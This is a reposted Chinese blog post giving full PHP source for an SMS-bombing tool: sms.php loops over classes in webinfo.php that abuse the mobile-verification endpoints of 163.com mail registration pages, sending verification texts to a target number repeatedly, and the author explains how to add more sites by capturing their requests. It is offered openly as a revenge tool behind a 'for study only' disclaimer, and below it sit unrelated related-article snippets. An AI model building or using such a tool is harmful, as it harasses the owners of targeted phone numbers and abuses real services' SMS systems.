php 构造骚扰短信发送机(仅供学习与参考,请勿用于非法用途)

最近在某宝买东西得罪了某黑心商家。。然后他就疯狂的给我发骚扰短信,烦死了。。。

短信大概就是利用一些网站的手机验证码来实现的。。

所以再被他疯狂骚扰后决定自己动手反击。。

php主要用到了curl的函数库扩展,然后主要要做的还是去抓包分析网站注册码的各个请求,

下面就主要来一个小的demo来详细说一下。。效率谈不上,仅限于娱乐。

1.sms.php

  注意cookie文件一定要用绝对路径。。在这纠结了好久。。

  其他的curlopt参数自己去查手册吧

  还有里面缺少一些状态判断,可以自己去做,懒得搞了。。他一般返回json格式,还是很清楚的,剩余几次,是否已经注册都有信息可以提取。curl_exec()的返回值里有数据

 1 <?php
 2 ini_set('max_execution_time',0);
 3 if(!isset($argv[1])){
 4     print("argv error");
 5     die();
 6 }
 7 include_once("./webinfo.php");
 8 $exps = array();
 9 foreach ($webs as $key => $value) {
10     $exps[] = new $value($argv[1]);
11 }
12 for($i=1;$i<=3;$i++){
13     print("this is {$i} send\n");
14     foreach ($exps as $key => $value) {
15         if(!file_exists($value->cookieJar)){
16             $fp = fopen(dirname(__FILE__)."/".$value->cookieJar, "w+");
17             fclose($fp);
18             print("[+]create cookiefile {$value->cookieJar}\n");
19         }
20         $ch = curl_init();
21         curl_setopt($ch,CURLOPT_URL,$value->urlGetRawCookie);
22         curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__)."/".$value->cookieJar);
23         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
24         curl_setopt($ch, CURLOPT_HEADER, 0);
25         curl_exec($ch);
26         print("[+]get raw cookie ready\n");
27         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
28         if($value->urlCheckNum!=null){
29             $checkUrl = $value->urlCheckNum;
30             foreach ($checkUrl as $k => $v) {
31                 if($value->type=="post"){
32                     curl_setopt($ch, CURLOPT_URL, $v[0]);
33                     curl_setopt($ch, CURLOPT_POST, true);
34                     curl_setopt($ch, CURLOPT_POSTFIELDS, $v[1]);
35                 }else{
36                     curl_setopt($ch, CURLOPT_URL, $v);
37                 }
38                 curl_exec($ch);
39                 print("[+]check num ready\n");
40              } 
41         }
42         if($value->type=="post"){
43             curl_setopt($ch, CURLOPT_POST, true);
44             curl_setopt($ch, CURLOPT_POSTFIELDS, $value->paras);
45         }
46         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
47         curl_setopt($ch, CURLOPT_URL, $value->urlSendSMS);
48         curl_exec($ch);
49         print("[+]send sms ok \n begin the next... \n\n");
50     }
51     if($i!=3){
52         print("[--]we will begin the next send sms after 60s\n");
53         sleep(60);
54     }
55     
56 }

2.webinfo.php

 

 1 <?php
 2     /*
 3      *本页面为网站信息数据
 4      *$webs数组存放所有的
 5      *$type为请求格式
 6      *
 7      *$urlGetRawCookie为原始登录网页网址,用来取得原始cookie并保存,
 8      *因为一般他们会把验证码信息存在session中,若没有登录,就对应了cookie中的JSESSIONID,与http协议机制相关
 9      *
10      *$urlCheckNum为最终发送网址之前的一些网址,保存为数组格式,若为post型,则保存为二维数组,
11      *最内层数组第一个元素为网址,第二个为post数据
12      *
13      *$urlSendSMS为最终发送网址,若为post型,post数据对应于$paras
14      *
15      *$cookieJar为cookie保存文件
16      */
17     $webs = array("info163","info126");
18     class Info163{
19         public $type = "post";
20         public $paras = "";
21         public $urlGetRawCookie = "http://reg.email.163.com/unireg/call.do?cmd=register.entrance&from=163mail";
22         public $urlCheckNum = null;
23         public $urlSendSMS = "http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode";
24         public $cookieJar = "cookie163.txt";
25         public function info163($num){
26             $this->paras = "mobile={$num}&uid={$num}@163.com&mark=mobile_start";
27         }
28         
29     }
30     class Info126{
31         public $type = "get";
32         public $urlGetRawCookie = "http://e.mail.163.com/mobilemail/home.do?from=163mail";
33         public $urlCheckNum = null;
34         public $urlSendSMS = "http://e.mail.163.com/mobilemail/getVerifyCode.do?rnd=0.031214307695158909";
35         public $cookieJar = "cookie126.txt";
36         public function info126($num){
37             $this->urlCheckNum = array(
38                 "http://e.mail.163.com/mobilemail/service/jslog.do?mobile={$num}",
39                 "http://e.mail.163.com/mobilemail/checkMobileBinded.do?mobile={$num}&rnd=0.5488968987483531"
40                 );
41         }
42     }
43 
44 
45 
46 ?>

自己可以按照规则扩展webino里的数据,抓包可以用wireshark,不过http抓包个人感觉还是chrome自带的工具比较好用点

 

 

请勿用于非法用途,后果自负。

 

转载于:https://www.cnblogs.com/happyDays/p/3440741.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/408285.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

A Quantization-Friendly Separable Convolution for MobileNets

论文&#xff1a;《A Quantization-Friendly Separable Convolution for MobileNets》 论文地址&#xff1a;https://arxiv.org/pdf/1803.08607.pdf 这篇是高通在 2018 年发表的一篇论文&#xff0c;主要是针对在量化方面效果很差的 MobileNetV1 网络进行研究&#xff0c;探索…

神经稀疏体素场论文笔记

论文地址&#xff1a;https://proceedings.neurips.cc/paper/2020/file/b4b758962f17808746e9bb832a6fa4b8-Paper.pdf Github&#xff1a;https://github.com/facebookresearch/NSVF 摘要 使用经典计算机图形技术对真实世界场景进行逼真的自由视角渲染具有挑战性&#xff0c…

3dmax 学习

^_^&#xff0c;今天早上起来&#xff0c;外面黢黑一片还以为是深夜了&#xff0c;一看表才知道上课快要迟到了&#xff0c;迅速起床作整理工作&#xff0c;一边整理一边看看外面的天&#xff0c;真是太吓人了。别人说天狗吃月是晚上可以看到的&#xff0c;但是在这个东北&…

Linux学习系列之Linux入门(一)linux安装与入门

第一篇&#xff1a;安装并配置Linux开发环境 一、安装linux: 主要安装Linux的发行版&#xff0c;到目前为之&#xff0c;主要的发行版有&#xff1a; 比较常用的是Ubuntu、redhat和centOS,主要的安装方法详细&#xff1a; Ubuntu安装1、Ubuntu安装2&#xff0c;Redhat安装1、Re…

神经网络中的 Dropout 以及变体方法

Dropout 的学习笔记&#xff0c;主要参考文章&#xff1a; 12种主要的Dropout方法&#xff1a;如何应用于DNNs&#xff0c;CNNs&#xff0c;RNNs中的数学和可视化解释 【科普】神经网络中的随机失活方法 1. 简介 深度学习训练模型的一个主要挑战是协同适应&#xff0c;这意…

【论文精读】Deep Rectangling for Image Stitching: A Learning Baseline

代码&#xff1a;https://github.com/nie-lang/DeepRectangling 链接&#xff1a;https://arxiv.org/abs/2203.03831 概览 目前图像拼接的一个问题是拼接后会产生不规则的边界&#xff0c;如下图1 b所示。目前解决这类问题主要是通过图像矩形化方法&#xff0c;并且通常是分…

[论文笔记]Depth-Aware Multi-Grid Deep Homography Estimation with Contextual Correlation

论文地址&#xff1a;https://arxiv.org/abs/2107.02524 代码&#xff1a;https://github.com/nie-lang/Multi-Grid-Deep-Homography 1. 概览 单应性估计是计算机视觉应用中的一项重要任务&#xff0c;例如图像拼接、视频稳定和相机校准。传统的单应性估计方法严重依赖特征对…

基础【循环】-----(枚举器)------(转)

Iterator&#xff1a;枚举器 如果你正在创建一个表现和行为都类似于集合的类&#xff0c;允许类的用户使用foreach语句对集合中的成员进行枚举将会是很方便的。这在C# 2.0中比 C# 1.1更容易实现一些。作为演示&#xff0c;我们先在 C# 1.1中为一个简单的集合添加枚举&#xff0…

【论文笔记】Leveraging Line-point Consistence to Preserve Structures for Wide Parallax Image Stitching

论文链接&#xff1a;https://openaccess.thecvf.com/content/CVPR2021/papers/Jia_Leveraging_Line-Point_Consistence_To_Preserve_Structures_for_Wide_Parallax_Image_CVPR_2021_paper.pdf 代码链接&#xff1a;https://github.com/dut-media-lab/Image-Stitching 摘要 …

JTable 一个最好的例子

装载自&#xff1a;http://www.oschina.net/code/snippet_54100_1230 import java.awt.BorderLayout; import java.awt.Color; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.Vector;import javax.swing.DefaultCellEditor; imp…

整理javascript操作文件说明.

Javascript是网页制作中离不开的脚本语言&#xff0c;依靠它&#xff0c;一个网页的内容才生动活泼、富有朝气。但也许你还没有发现并应用它的一些更高级的功能吧&#xff1f;比如&#xff0c;对文件和文件夹进行读、写和删除&#xff0c;就象在VB、VC等高级语言中经常做的工作…